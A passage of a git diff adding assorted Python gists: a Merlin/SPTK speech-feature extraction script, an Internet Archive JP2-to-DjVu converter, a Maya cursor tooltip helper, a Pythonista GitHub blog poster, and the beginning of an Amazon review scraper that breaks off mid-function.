+    sptk_path = {
+        'SOPR': sptkdir + 'sopr',
+        'FREQT': sptkdir + 'freqt',
+        'VSTAT': sptkdir + 'vstat',
+        'MGC2SP': sptkdir + 'mgc2sp',
+        'MERGE': sptkdir + 'merge',
+        'BCP': sptkdir + 'bcp',
+        'MC2B': sptkdir + 'mc2b',
+        'C2ACR': sptkdir + 'c2acr',
+        'MLPG': sptkdir + 'mlpg',
+        'VOPR': sptkdir + 'vopr',
+        'B2MC': sptkdir + 'b2mc',
+        'X2X': sptkdir + 'x2x',
+        'VSUM': sptkdir + 'vsum'}
+
+    #worlddir = os.path.abspath("latest_features/merlin/tools/bin/WORLD") + "/"
+    worlddir = merlindir + "tools/bin/WORLD/"
+    world_path = {
+        'ANALYSIS': worlddir + 'analysis',
+        'SYNTHESIS': worlddir + 'synth'}
+
+    fw_coef = fw_alpha
+    fl_coef = fl
+
+    files = {'sp': base + '.sp',
+             'mgc': base + '.mgc',
+             'f0': base + '.f0',
+             'lf0': base + '.lf0',
+             'ap': base + '.ap',
+             'bap': base + '.bap',
+             'wav': base + '.wav'}
+
+    mgc_file_name = files['mgc']
+    cur_dir = os.getcwd()
+    os.chdir(gen_dir)
+
+    #  post-filtering
+    if do_post_filtering:
+        line = "echo 1 1 "
+        for i in range(2, mgc_dim):
+            line = line + str(pf_coef) + " "
+
+        pe(
+            '{line} | {x2x} +af > {weight}'
+            .format(
+                line=line, x2x=sptk_path['X2X'],
+                weight=os.path.join(gen_dir, 'weight')), shell=True)
+
+        pe(
+            '{freqt} -m {order} -a {fw} -M {co} -A 0 < {mgc} | '
+            '{c2acr} -m {co} -M 0 -l {fl} > {base_r0}'
+            .format(
+                freqt=sptk_path['FREQT'], order=mgc_dim - 1,
+                fw=fw_coef, co=co_coef, mgc=files['mgc'],
+                c2acr=sptk_path['C2ACR'], fl=fl_coef,
+                base_r0=files['mgc'] + '_r0'), shell=True)
+
+        pe(
+            '{vopr} -m -n {order} < {mgc} {weight} | '
+            '{freqt} -m {order} -a {fw} -M {co} -A 0 | '
+            '{c2acr} -m {co} -M 0 -l {fl} > {base_p_r0}'
+            .format(
+                vopr=sptk_path['VOPR'], order=mgc_dim - 1,
+                mgc=files['mgc'],
+                weight=os.path.join(gen_dir, 'weight'),
+                freqt=sptk_path['FREQT'], fw=fw_coef, co=co_coef,
+                c2acr=sptk_path['C2ACR'], fl=fl_coef,
+                base_p_r0=files['mgc'] + '_p_r0'), shell=True)
+
+        pe(
+            '{vopr} -m -n {order} < {mgc} {weight} | '
+            '{mc2b} -m {order} -a {fw} | '
+            '{bcp} -n {order} -s 0 -e 0 > {base_b0}'
+            .format(
+                vopr=sptk_path['VOPR'], order=mgc_dim - 1,
+                mgc=files['mgc'],
+                weight=os.path.join(gen_dir, 'weight'),
+                mc2b=sptk_path['MC2B'], fw=fw_coef,
+                bcp=sptk_path['BCP'], base_b0=files['mgc'] + '_b0'), shell=True)
+
+        pe(
+            '{vopr} -d < {base_r0} {base_p_r0} | '
+            '{sopr} -LN -d 2 | {vopr} -a {base_b0} > {base_p_b0}'
+            .format(
+                vopr=sptk_path['VOPR'],
+                base_r0=files['mgc'] + '_r0',
+                base_p_r0=files['mgc'] + '_p_r0',
+                sopr=sptk_path['SOPR'],
+                base_b0=files['mgc'] + '_b0',
+                base_p_b0=files['mgc'] + '_p_b0'), shell=True)
+
+        pe(
+            '{vopr} -m -n {order} < {mgc} {weight} | '
+            '{mc2b} -m {order} -a {fw} | '
+            '{bcp} -n {order} -s 1 -e {order} | '
+            '{merge} -n {order2} -s 0 -N 0 {base_p_b0} | '
+            '{b2mc} -m {order} -a {fw} > {base_p_mgc}'
+            .format(
+                vopr=sptk_path['VOPR'], order=mgc_dim - 1,
+                mgc=files['mgc'],
+                weight=os.path.join(gen_dir, 'weight'),
+                mc2b=sptk_path['MC2B'], fw=fw_coef,
+                bcp=sptk_path['BCP'],
+                merge=sptk_path['MERGE'], order2=mgc_dim - 2,
+                base_p_b0=files['mgc'] + '_p_b0',
+                b2mc=sptk_path['B2MC'],
+                base_p_mgc=files['mgc'] + '_p_mgc'), shell=True)
+
+        mgc_file_name = files['mgc'] + '_p_mgc'
+
+    # Vocoder WORLD
+
+    pe(
+        '{sopr} -magic -1.0E+10 -EXP -MAGIC 0.0 {lf0} | '
+        '{x2x} +fd > {f0}'
+        .format(
+            sopr=sptk_path['SOPR'], lf0=files['lf0'],
+            x2x=sptk_path['X2X'], f0=files['f0']), shell=True)
+
+    pe(
+        '{sopr} -c 0 {bap} | {x2x} +fd > {ap}'.format(
+            sopr=sptk_path['SOPR'], bap=files['bap'],
+            x2x=sptk_path['X2X'], ap=files['ap']), shell=True)
+
+    pe(
+        '{mgc2sp} -a {alpha} -g 0 -m {order} -l {fl} -o 2 {mgc} | '
+        '{sopr} -d 32768.0 -P | {x2x} +fd > {sp}'.format(
+            mgc2sp=sptk_path['MGC2SP'], alpha=fw_alpha,
+            order=mgc_dim - 1, fl=fl, mgc=mgc_file_name,
+            sopr=sptk_path['SOPR'], x2x=sptk_path['X2X'], sp=files['sp']),
+    shell=True)
+
+    pe(
+        '{synworld} {fl} {sr} {f0} {sp} {ap} {wav}'.format(
+            synworld=world_path['SYNTHESIS'], fl=fl, sr=sr,
+            f0=files['f0'], sp=files['sp'], ap=files['ap'],
+            wav=files['wav']),
+    shell=True)
+
+    pe(
+        'rm -f {ap} {sp} {f0} {bap} {lf0} {mgc} {mgc}_b0 {mgc}_p_b0 '
+        '{mgc}_p_mgc {mgc}_p_r0 {mgc}_r0 {cmp} weight'.format(
+            ap=files['ap'], sp=files['sp'], f0=files['f0'],
+            bap=files['bap'], lf0=files['lf0'], mgc=files['mgc'],
+            cmp=base + '.cmp'),
+    shell=True)
+    os.chdir(cur_dir)
+
+
+def get_reconstructions():
+    features_dir = "latest_features/numpy_features/"
+    norm_info_file = "latest_features/norm_info/norm_info_mgc_lf0_vuv_bap_63_MVN.dat"
+    with open(norm_info_file, "rb") as f:
+        cmp_info = np.fromfile(f, dtype=np.float32)
+    cmp_info = cmp_info.reshape((2, -1))
+    cmp_mean = cmp_info[0]
+    cmp_std = cmp_info[1]
+    for fp in os.listdir(features_dir)[:5]:
+        print("Reconstructing %s" % fp)
+        a = np.load(features_dir + fp)
+        af = a["audio_features"]
+        r = af * cmp_std + cmp_mean
+        generate_merlin_wav(r, "latest_features/gen",
+                    file_basename=fp.split(".")[0],
+                            do_post_filtering=False)
+
+if __name__ == "__main__":
+    launchdir = os.getcwd()
+    import argparse
+    parser = argparse.ArgumentParser(description="Extract audio and text features using speech synthesis toolkits including SPTK, HTS, HTK, and Merlin. Special thanks to Jose Sotelo and the Edinburgh Speech Synthesis team. The text to use must not contain any parenthesis characters e.g. '(' or ')' .",
+                                     epilog="Example usage: python extract_features.py -w wav48/p294 -t txt/p294")
+    parser.add_argument("--wav_dir", "-w",
+                        help="filepath for directory of wav files",
+                        required=True)
+    parser.add_argument("--txt_dir", "-t",
+                        help="filepath for directory of txt files",
+                        required=True)
+    parser.add_argument("--keep_silences", "-k",
+                        help="keep silences in audio, may be necessary for certain languages or datasets",
+                        action="store_true", default=False)
+    parser.add_argument("--full_features", "-f",
+                        help="Extract all label features, rather than focusing only on audio",
+                        action="store_true", default=False)
+    args = parser.parse_args()
+
+    wav_dir = os.path.abspath(args.wav_dir)
+    txt_dir = os.path.abspath(args.txt_dir)
+    keep_silences = args.keep_silences
+    full_features = args.full_features
+    if wav_dir[-1] != "/":
+        wav_dir += "/"
+    if txt_dir[-1] != "/":
+        txt_dir += "/"
+
+    """
+    # handle .data files?
+    import os
+
+    with open("cmuarctic.data", "r") as f:
+        lines = f.readlines()
+
+    if not os.path.exists("txt"):
+        os.mkdir("txt")
+
+    for l in lines:
+        ls = l.split('"')
+        base = ls[0].split(" ")[1]
+        txt = ls[-2].strip()
+        with open("txt/%s.txt" % base, "w") as f:
+            f.write("%s\n" % txt)
+    """
+    n_split = 5000
+    total_wav = sorted(os.listdir(wav_dir))
+    total_txt = sorted(os.listdir(txt_dir))
+    n_total_wav = len(total_wav)
+    n_total_txt = len(total_txt)
+
+    if n_total_wav <= n_split:
+        multifolder = False
+        itr = [0]
+        cur_wav_dir = wav_dir
+        cur_txt_dir = txt_dir
+    else:
+        multifolder = True
+        print("Large fileset found")
+        print("Performing temporary splits")
+        n_splits = n_total_wav // n_split + 1
+        itr = range(n_splits)
+        s = 0
+        for i in itr:
+            e = s + n_split
+            sub_wav = [wav_dir + str(os.sep) + tw for tw in total_wav[s:e]]
+            sub_txt = []
+            for sw in sub_wav:
+                fn = sw.split(os.sep)[-1].split(".")[0]
+                txt_i = [t for t in total_txt if fn in t]
+                if len(txt_i) != 1:
+                    # exact match
+                    txt_i = [t for t in txt_i if t.split(".")[0] == fn]
+                    if len(txt_i) != 1:
+                        raise ValueError("Multiple/no match found for wav file {}".format(fn))
+                        #from IPython import embed; embed(); raise ValueError()
+                txt_i = txt_i[0]
+                sub_txt.append(txt_dir + str(os.sep) + txt_i)
+            tmp_wav_dir = "tmp_wav_%i" % i
+            tmp_txt_dir = "tmp_txt_%i" % i
+            if os.path.exists(tmp_wav_dir):
+                shutil.rmtree(tmp_wav_dir)
+            if os.path.exists(tmp_txt_dir):
+                shutil.rmtree(tmp_txt_dir)
+            os.mkdir(tmp_wav_dir)
+            os.mkdir(tmp_txt_dir)
+            assert len(sub_wav) == len(sub_txt)
+            print("Copying subset to tmp_*_%i" % i)
+            for wf, tf in zip(sub_wav, sub_txt):
+                shutil.copy2(wf, tmp_wav_dir)
+                shutil.copy2(tf, tmp_txt_dir)
+            s = e
+
+    for i in itr:
+        if multifolder:
+            cur_wav_dir = os.getcwd() + str(os.sep) + "tmp_wav_%i" % i + str(os.sep)
+            cur_txt_dir = os.getcwd() + str(os.sep) + "tmp_txt_%i" % i +  str(os.sep)
+            if os.path.exists("latest_features"):
+                shutil.rmtree("latest_features")
+        if not os.path.exists("latest_features"):
+            extract_intermediate_features(cur_wav_dir, cur_txt_dir, keep_silences, full_features)
+        elif os.path.exists("latest_features"):
+            if not os.path.exists("latest_features/text_feat") and not os.path.exists("latest_features/audio_feat"):
+                print("Redoing feature extraction")
+                pdir = os.getcwd()
+                os.chdir("latest_features")
+                if os.path.exists("merlin"):
+                    shutil.rmtree("merlin")
+                if os.path.exists("text_feat"):
+                    os.remove("text_feat")
+                if os.path.exists("audio_feat"):
+                    os.remove("audio_feat")
+                os.chdir(pdir)
+                extract_intermediate_features(cur_wav_dir, cur_txt_dir, keep_silences, full_features)
+        if not os.path.exists("latest_features/final_duration_data") or not os.path.exists("latest_features/final_acoustic_data"):
+            extract_final_features()
+            print("Feature extraction complete!")
+        if not os.path.exists("latest_features/numpy_features"):
+            save_numpy_features()
+        #if not os.path.exists("latest_features/gen"):
+        #    get_reconstructions()
+        # TODO: Add -clean argument
+        if multifolder:
+            tmp_results = "tmp_results_%i" % i
+            if os.path.exists(tmp_results):
+                shutil.rmtree(tmp_results)
+            shutil.copytree("latest_features" + str(os.sep) + "numpy_features",
+                            tmp_results)
+    if multifolder:
+        for i in itr:
+            for f in os.listdir("tmp_results_%i" % i):
+                try:
+                    shutil.move("tmp_results_%i" % i + str(os.sep) + f,
+                                "latest_features" + str(os.sep) + "numpy_features")
+                except shutil.Error:
+                    continue
+    print("All files generated, remove the directories to rerun")
diff --git a/hard-gists/cc3c187172ac848bd896ecb2b812dc51/._snippet.py b/hard-gists/cc3c187172ac848bd896ecb2b812dc51/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/cc3c187172ac848bd896ecb2b812dc51/._snippet.py differ
diff --git a/hard-gists/cc3c187172ac848bd896ecb2b812dc51/snippet.py b/hard-gists/cc3c187172ac848bd896ecb2b812dc51/snippet.py
new file mode 100644
index 00000000..cd1f5481
--- /dev/null
+++ b/hard-gists/cc3c187172ac848bd896ecb2b812dc51/snippet.py
@@ -0,0 +1,234 @@
+#!/usr/bin/python
+# -*- coding: utf-8  -*-
+
+import os, shutil, urlparse, urllib
+import zipfile
+import argparse
+
+from PIL import Image
+from internetarchive import download
+
+# How to use it
+
+# Dependencies:
+#* PIL (Pillow version: http://pillow.readthedocs.io/en/3.1.x/installation.html) built with OpenJPEG support (for JPEG2000)
+#* internetarchive: https://pypi.python.org/pypi/internetarchive
+#* djvuLibre: http://djvu.sourceforge.net/
+
+#1. create a working folder on your pc and copy the code as jp2todjvu.py.py
+#2. go into folder and verify djvuLibre, PIL and internetarchive are reachable
+#3. run the script: python jp2todjvu.py ID_ARCHIVE
+
+
+# Technical details:
+
+# input: IA_identifier
+# files: IA_identifier.pdf
+#        IA_identifier_djvu.xml
+# routines esterne: cjb2, djvm, djvuxmlparser, pdfimages
+# nome pagine: IA_identifier_0000.djvu, IA_identifier_0001.djvu....
+
+# cartella jp2: jp2
+# cartella jpg: jpg
+# cartella djvu individuali: djvu
+# cartella input: input
+# cartella output: output
+
+# as-it-is copy of https://it.wikisource.org/w/index.php?title=Progetto:Bot/Programmi_in_Python_per_i_bot/jp2todjvu.py&oldid=1809134
+# contributors: Alex brollo, Laurentius, Aubrey
+
+
+def path2url(path):
+        return urlparse.urljoin('file:', urllib.pathname2url(path))
+
+def cleanfolder(dirpath):
+        if not os.path.isdir(dirpath):
+                os.mkdir(dirpath)
+
+        for filename in os.listdir(dirpath):
+                filepath = os.path.join(dirpath, filename)
+                try:
+                        shutil.rmtree(filepath)
+                except OSError:
+                        os.remove(filepath)
+
+def dezip(zipf):
+        cleanfolder("jp2")
+        z = zipfile.ZipFile(os.path.join("input", zipf))
+        for f in z.namelist():
+                jp2 = f.split("/").pop()
+                if jp2.endswith(".jp2"):
+                        data = z.read(f)
+                        open(os.path.join("jp2", jp2), "wb").write(data)
+                print jp2, " saved"
+
+def downloadItem(IAid):
+        cleanfolder("input")
+        download(IAid,glob_pattern="*_djvu.xml",destdir="input", verbose=True,no_directory=True)
+        download(IAid,glob_pattern="*_jp2.zip",destdir="input", verbose=True,no_directory=True)
+
+def jp2tojpg(fileformat="jpg"):
+    if fileformat not in ("jpg", "pbm"):
+        raise ValueError("Formato file intermedio non supportato")
+    cleanfolder("jpg")
+    cleanfolder("pbm")
+    listaJp2 = os.listdir("jp2")
+    listaJp2.sort()
+    for f in range(len(listaJp2)):
+        if listaJp2[f].endswith(".jp2"):
+            fout = "%s.%s" % (listaJp2[f][0:-4], fileformat)
+            image = Image.open(os.path.join("jp2", listaJp2[f]))
+            if f == 0 and image.size[0] < 1000:
+                    fattore=1024.0/image.size[0]
+                    image=image.resize((int(image.size[0]*fattore),int(image.size[1]*fattore)))
+            image.save(os.path.join(fileformat, fout))
+            #comando="convert jp2/%s jpg/%s" % (listaJp2[f], fout)
+            #res = os.system(comando)
+            print fout, " salvata"
+
+def jpgtodjvu(fileformat="jpg"):
+    if fileformat not in ("jpg", "pbm"):
+        raise ValueError("Formato file intermedio non supportato")
+    cleanfolder("djvu")
+    listaImmagini = os.listdir(fileformat)
+    for f in listaImmagini:
+        if f.endswith("." + fileformat):
+            comando = "c44 %s %s" % (os.path.join(fileformat, f),
+                os.path.join("djvu", f[0:-4] + ".djvu"))
+            res = os.system(comando)
+            print res,comando
+
+def merge(pathdjvu="djvu"):
+        cleanfolder("output")
+        listaDjvu=os.listdir(pathdjvu)
+        listaDjvu.sort()
+        lista=""
+        for n in range(len(listaDjvu)):
+                if listaDjvu[n].endswith(".djvu"):
+                        lista+=os.path.join("djvu",listaDjvu[n])+" "
+                if len(lista)>7500:
+                        break
+
+        djvuBundled=os.path.join("output",listaDjvu[0].replace("_0000.djvu",".djvu"))
+        comando="djvm -c %s %s" % (djvuBundled,lista)
+        res=os.system(comando)
+        print res,comando
+        if n<len(listaDjvu):
+                np=n+1
+                for n in range(np,len(listaDjvu)):
+                        comando="djvm -i %s %s" % (djvuBundled,os.path.join("djvu",listaDjvu[n]))
+                        res=os.system(comando)
+                        print res,comando
+        return lista
+
+
+
+def editXml(IAid):
+        xmlFile=os.path.join("input",IAid)+"_djvu.xml"
+        xml=open(xmlFile).read()
+        url=find_stringa(xml,'OBJECT data="','"',0)
+        urlNew=path2url(os.getcwd())+"/output/"+IAid+".djvu"
+        xml=xml.replace(url,urlNew)
+        open(xmlFile,"w").write(xml)
+        print "File "+IAid+"_djvu.xml modificato"
+
+def caricaTesto(IAid):
+        editXml(IAid)
+        # splits xml into header, list of obiects, footer
+        # to build smaller temp xml files (50 pages blocks)
+        # and to run them avoiding out of memory errors
+        h,b,f=splitObject(IAid)
+        for i in range(0,len(b),50):
+                open("testo.xml","w").write(h+"\n".join(b[i:i+50])+f)
+                print "scritto xml per pagine ",i," - ",i+50
+                comando="djvuxmlparser testo.xml"# %s" % (os.path.join("input",IAid+"_djvu.xml"))
+                print comando
+                res=os.system(comando)
+                print "risultato: ",res
+
+# utilities 
+
+def find_stringa(stringa,idi,idf,dc=0,x=None,side="left"):
+    if side=="right":
+        idip=stringa.rfind(idi)
+    else:
+        idip=stringa.find(idi)
+    idfp=stringa.find(idf,idip+len(idi))+len(idf)
+    if idip>-1 and idfp>0:
+        if x!=None:
+            while stringa[idip:idfp].count(x)>stringa[idip:idfp].count(idf):
+                if stringa[idip:idfp].count(x)>stringa[idip:idfp].count(idf):
+                    idfp=stringa.find(idf,idfp)+len(idf)
+
+        if dc==0:
+            vvalore=stringa[idip+len(idi):idfp-len(idf)]
+        else:
+            vvalore=stringa[idip:idfp]
+    else:
+        vvalore=""
+    return vvalore
+
+def produci_lista(testo,idi,idf,dc=1,inizio=None):
+    t=testo[:]
+    lista=[]
+    while not find_stringa(t,idi,idf,1,inizio)=="":
+        el=find_stringa(t,idi,idf,1,inizio)
+        t=t.replace(el,"",1)
+        if dc==0:
+            el=find_stringa(el,idi,idf,0,inizio)
+        lista.append(el)
+    return lista
+
+def carica_pcl(nome_file, folder="dati/"):
+    nome_file=folder+nome_file+".pcl"
+    f=open(nome_file)
+    contenuto=pickle.load(f)
+    f.close()
+    return contenuto
+
+def salva_pcl(variabile,nome_file="dato",folder="dati/"):
+    nome_file=folder+nome_file+".pcl"
+    f=open(nome_file,"w")
+    pickle.dump(variabile, f)
+    f.close()
+    print "Variabile salvata nel file "+nome_file
+
+def main(IAid, down=True, fileformat="jpg"):
+        if down:
+                downloadItem(IAid)
+        dezip(IAid + "_jp2.zip")
+        jp2tojpg(fileformat=fileformat)
+        jpgtodjvu(fileformat=fileformat)
+        merge()
+        caricaTesto(IAid)
+
+
+def splitObject(IAid):
+    """
+    Splitta djvu.xml in header, lista di object, footer.
+    """
+    xmlFile=os.path.join("input",IAid)+"_djvu.xml"
+    xml=open(xmlFile).read()
+    fs=xml.split("<OBJECT")
+    for i in range(1,len(fs)):
+        fs[i]="<OBJECT "+fs[i].strip()
+    fs[len(fs)-1]=fs[len(fs)-1].replace("\n</BODY>\n</DjVuXML>","")
+    footer="\n</BODY>\n</DjVuXML>"
+    header=fs.pop(0)+"\n"
+    return (header,fs,footer)
+
+if __name__ == "__main__":
+    parser = argparse.ArgumentParser(description="Crea un file DjVu a partire dall'Internet Archive.")
+
+    parser.add_argument('id', help="identificatore dell'Internet Archive")
+
+    parser.add_argument('--no-download', dest='download',
+                        action='store_false', help='non scaricare il file')
+    parser.add_argument('--pbm', dest='pbm',
+                        action='store_true', help='usa PBM come formato intermedio (non compresso)')
+
+    args = parser.parse_args()
+
+    main(args.id, down=args.download, fileformat=("pbm" if args.pbm else "jpg"))
+
+
diff --git a/hard-gists/cc63e6aa9a88ea6e901f/._snippet.py b/hard-gists/cc63e6aa9a88ea6e901f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/cc63e6aa9a88ea6e901f/._snippet.py differ
diff --git a/hard-gists/cc63e6aa9a88ea6e901f/snippet.py b/hard-gists/cc63e6aa9a88ea6e901f/snippet.py
new file mode 100644
index 00000000..3186a756
--- /dev/null
+++ b/hard-gists/cc63e6aa9a88ea6e901f/snippet.py
@@ -0,0 +1,87 @@
+"""Illustration of how to retrieve the shape under the mouse cursor
+
+Usage:
+  Run `start()` to start listening for when the mouse stops and to display a tooltip
+  Run `stop()` to stop listening
+
+"""
+
+from maya import cmds
+from PySide import QtGui, QtCore
+
+data = {
+    "lastPosition": QtCore.QPoint(0, 0),
+    "currentTooltip": None,
+    "timer": None
+}
+
+def tooltip(message):
+    """Produce tooltip"""
+    tooltip = QtGui.QLabel(message)
+    tooltip.setWindowFlags(QtCore.Qt.ToolTip)
+    tooltip.setStyleSheet("""
+    QLabel {
+        background: "white";
+        color: "black";
+        height: 30px;
+        width: 100px;
+        padding: 20px;
+        border: 2px solid black;
+    }
+    """)
+    tooltip.move(QtGui.QCursor.pos())
+    tooltip.show()
+
+    QtCore.QTimer.singleShot(2000, tooltip.deleteLater)
+    
+    # Store reference    
+    data["currentTooltip"] = tooltip
+
+def evaluate():
+    """Should we produce a tooltip?"""
+    position = QtGui.QCursor.pos()
+
+    if position == data["lastPosition"]:
+        object = object_under_cursor()
+
+        if not object:
+            return
+
+        tooltip('"{}" is of type "{}"'.format(
+            object, cmds.nodeType(object)))
+
+    data["lastPosition"] = position
+
+def object_under_cursor():
+    """Get objects under cursor"""
+    pos = QtGui.QCursor.pos()
+    widget = QtGui.qApp.widgetAt(pos)
+    relpos = widget.mapFromGlobal(pos)
+
+    panel = cmds.getPanel(underPointer=True) or ""
+    
+    if not "modelPanel" in panel:
+        return
+
+    return (cmds.hitTest(panel, relpos.x(), relpos.y()) or [None])[0]
+
+def start():
+    """Track the cursor"""
+    if data["timer"] is not None:
+        data["timer"].stop()
+
+    timer = QtCore.QTimer()
+    timer.setInterval(1001)
+    timer.timeout.connect(evaluate)
+    timer.start()
+    
+    # Store reference
+    data["timer"] = timer
+
+def stop():
+    if data["timer"] is not None:
+        data["timer"].stop()
+        data["timer"] = None
+
+start()
+#stop()
\ No newline at end of file
diff --git a/hard-gists/cc704ba2a96e4a319e9e/._snippet.py b/hard-gists/cc704ba2a96e4a319e9e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/cc704ba2a96e4a319e9e/._snippet.py differ
diff --git a/hard-gists/cc704ba2a96e4a319e9e/snippet.py b/hard-gists/cc704ba2a96e4a319e9e/snippet.py
new file mode 100644
index 00000000..00fb5b03
--- /dev/null
+++ b/hard-gists/cc704ba2a96e4a319e9e/snippet.py
@@ -0,0 +1,193 @@
+# coding: utf-8
+
+import appex
+import console
+import keychain
+import dialogs
+import re
+
+from pygithub3 import Github
+
+from string import Template
+from datetime import date
+from time import strftime
+from unicodedata import normalize
+
+def slug(text, encoding=None,
+         permitted_chars='abcdefghijklmnopqrstuvwxyz0123456789-'):
+    if isinstance(text, str):
+        text = text.decode(encoding or 'ascii')
+    clean_text = text.strip().replace(' ', '-').lower()
+    while '--' in clean_text:
+        clean_text = clean_text.replace('--', '-')
+    ascii_text = normalize('NFKD', clean_text).encode('ascii', 'ignore')
+    strict_text = map(lambda x: x if x in permitted_chars else '', ascii_text)
+
+    return ''.join(strict_text)
+
+def extract_title(text):
+    lines = re.split('\n+', text, 2)
+
+    title = re.sub('^#+\s+', '', lines[0])
+    if (len(lines) < 2):
+        return (title, None)
+
+    index = 1
+    if re.search('^(=|-)+$', lines[1]):
+        index = 2
+
+    return (title, '\n'.join(lines[index:]))
+
+class MobileBlogger:
+    def __init__(self, github_user, github_password, github_repo):
+        self.github_user = github_user
+        self.github_password = github_password
+        self.github_repo = github_repo
+
+        self._latest_commit = None
+
+        self._initialize_client()
+
+    def _initialize_client(self):
+        self._gh = Github(
+            login=self.github_user,
+            user=self.github_user,
+            password=self.github_password,
+            repo=self.github_repo
+        )
+
+    def _get_latest_commit(self, reload=False):
+        if self._latest_commit is None or reload:
+            self._latest_commit = self._gh.repos.commits.list().next().next()
+
+        return self._latest_commit
+
+    def _prepend_meta_data(self, text, metas):
+        template ='''---
+layout:     ${layout}
+title:      ${title}
+author:     ${author}
+date:       ${date}
+tags:       ${tags}
+---
+
+'''
+        return Template(template).substitute(metas) + text
+
+    def create_new_post(self, title, text, metas):
+        default_metas = {
+            'layout': 'post',
+            'date': strftime("%Y-%m-%d %H:%M:%S"),
+            'title': title
+        }
+
+        default_metas.update(metas)
+        branch = default_metas['branch']
+        filename = default_metas['filename']
+        del default_metas['branch']
+        del default_metas['filename']
+
+        text = self._prepend_meta_data(text, default_metas)
+
+        latest_commit = self._get_latest_commit()
+
+        # Create blob
+        blob = self._gh.git_data.blobs.create(dict(
+            content=text, encoding='utf-8'))
+
+        # Create tree
+        tree = self._gh.git_data.trees.create(dict(
+            base_tree=latest_commit.commit.tree['sha'], tree=[dict(
+                path='_posts/' + filename, mode='100644', type='blob', sha=blob.sha)]))
+
+        # Create commit
+        commit = self._gh.git_data.commits.create(dict(
+            message=('New post: ' + title), tree=tree.sha, parents=[
+                latest_commit.sha]))
+
+        #Update reference
+        ref = 'heads/%s' % branch
+        self._gh.git_data.references.update(ref, dict(
+            sha=commit.sha))
+
+    def undo_last_post(self, branch='main'):
+        if self._latest_commit is None:
+            return
+
+        ref = 'heads/%s' % branch
+        self._gh.git_data.references.update(ref, dict(
+            sha=self._latest_commit.sha, force=True))
+
+def main():
+    if not appex.is_running_extension():
+        print 'Running in Pythonista app, using test data...\n'
+        text = '''## Daring Fireball
+
+John thanking Makerbase.
+
+> My thanks to Makerbase for sponsoring last week’s DF RSS feed. Makerbase is like an IMDB for people who make apps, websites, and podcasts. New features include the ability to get notified — optionally! — when your friends make a new project, or when someone says you inspire them.
+
+
+(Source: [http://daringfireball.net/](http://daringfireball.net/))'''
+    else:
+        text = appex.get_text()
+    if text:
+        author          = 'Pascal Cremer'
+
+        github_repo     = 'b00gizm.github.io'
+        github_user     = 'b00gizm'
+        github_password = keychain.get_password('github', github_user) or ''
+
+        (title, text)   = extract_title(text)
+        filename        = '%s-%s.md' % (date.today(), slug(title))
+
+        github_fields = (
+            'Github Settings',
+            [
+                dict(title='Github Username', key='github_user', type='text', value=github_user, autocorrection=False, autocapitalization=False),
+                dict(title='Github Password', key='github_password', type='password', value=github_password),
+                dict(title='Repository', key='github_repo', type='text', value=github_repo, autocorrection=False, autocapitalization=False)
+            ]
+        )
+
+        posting_fields = (
+            'Post Settings',
+            [
+                dict(title='Title', key='title', type='text', value=title),
+                dict(title='Author', key='author', type='text', value=author),
+                dict(title='Layout', key='layout', type='text', value='post', autocorrection=False, autocapitalization=False),
+                dict(title='Tags', key='tags', type='text', value=''),
+                dict(title='Filename', key='filename', type='text', value=filename, autocorrection=False, autocapitalization=False)
+            ],
+            'Please seperate tags by spaces.'
+        )
+
+        results = dialogs.form_dialog(title='Publish new post', sections=[
+            posting_fields,
+            github_fields
+        ])
+
+        if results is None:
+            console.hud_alert('Posting was cancelled', 'error')
+            return
+
+        metas = {
+            'tags': results['tags'],
+            'branch': 'main',
+            'author': results['author'],
+            'layout': results['layout'],
+            'filename': results['filename']
+        }
+
+        if github_password != results['github_password']:
+            keychain.set_password('github', results['github_user'], results['github_password'])
+
+        console.show_activity()
+        mb = MobileBlogger(results['github_user'], results['github_password'], results['github_repo'])
+        mb.create_new_post(results['title'], text, metas)
+        console.hud_alert('New post created!')
+    else:
+        print 'No input text found.'
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/cc8647960afeb2c15a6061d7ab7e594e/._snippet.py b/hard-gists/cc8647960afeb2c15a6061d7ab7e594e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/cc8647960afeb2c15a6061d7ab7e594e/._snippet.py differ
diff --git a/hard-gists/cc8647960afeb2c15a6061d7ab7e594e/snippet.py b/hard-gists/cc8647960afeb2c15a6061d7ab7e594e/snippet.py
new file mode 100644
index 00000000..1bd28f7d
--- /dev/null
+++ b/hard-gists/cc8647960afeb2c15a6061d7ab7e594e/snippet.py
@@ -0,0 +1,132 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+# Written as part of https://www.scrapehero.com/how-to-scrape-amazon-product-reviews-using-python/		
+from lxml import html  
+import json
+import requests
+import json,re
+from dateutil import parser as dateparser
+from time import sleep
+
+def ParseReviews(asin):
+	# Added Retrying 
+	for i in range(5):
+		try:
+			#This script has only been tested with Amazon.com
+			amazon_url  = 'http://www.amazon.com/dp/'+asin
+			# Add some recent user agent to prevent amazon from blocking the request 
+			# Find some chrome user agent strings  here https://udger.com/resources/ua-list/browser-detail?browser=Chrome
+			headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36'}
+			page = requests.get(amazon_url,headers = headers)
+			page_response = page.text
+
+			parser = html.fromstring(page_response)
+			XPATH_AGGREGATE = '//span[@id="acrCustomerReviewText"]'
+			XPATH_REVIEW_SECTION_1 = '//div[contains(@id,"reviews-summary")]'
+			XPATH_REVIEW_SECTION_2 = '//div[@data-hook="review"]'
+
+			XPATH_AGGREGATE_RATING = '//table[@id="histogramTable"]//tr'
+			XPATH_PRODUCT_NAME = '//h1//span[@id="productTitle"]//text()'
+			XPATH_PRODUCT_PRICE  = '//span[@id="priceblock_ourprice"]/text()'
+			
+			raw_product_price = parser.xpath(XPATH_PRODUCT_PRICE)
+			product_price = ''.join(raw_product_price).replace(',','')
+
+			raw_product_name = parser.xpath(XPATH_PRODUCT_NAME)
+			product_name = ''.join(raw_product_name).strip()
+			total_ratings  = parser.xpath(XPATH_AGGREGATE_RATING)
+			reviews = parser.xpath(XPATH_REVIEW_SECTION_1)
+			if not reviews:
+				reviews = parser.xpath(XPATH_REVIEW_SECTION_2)
+			ratings_dict = {}
+			reviews_list = []
+			
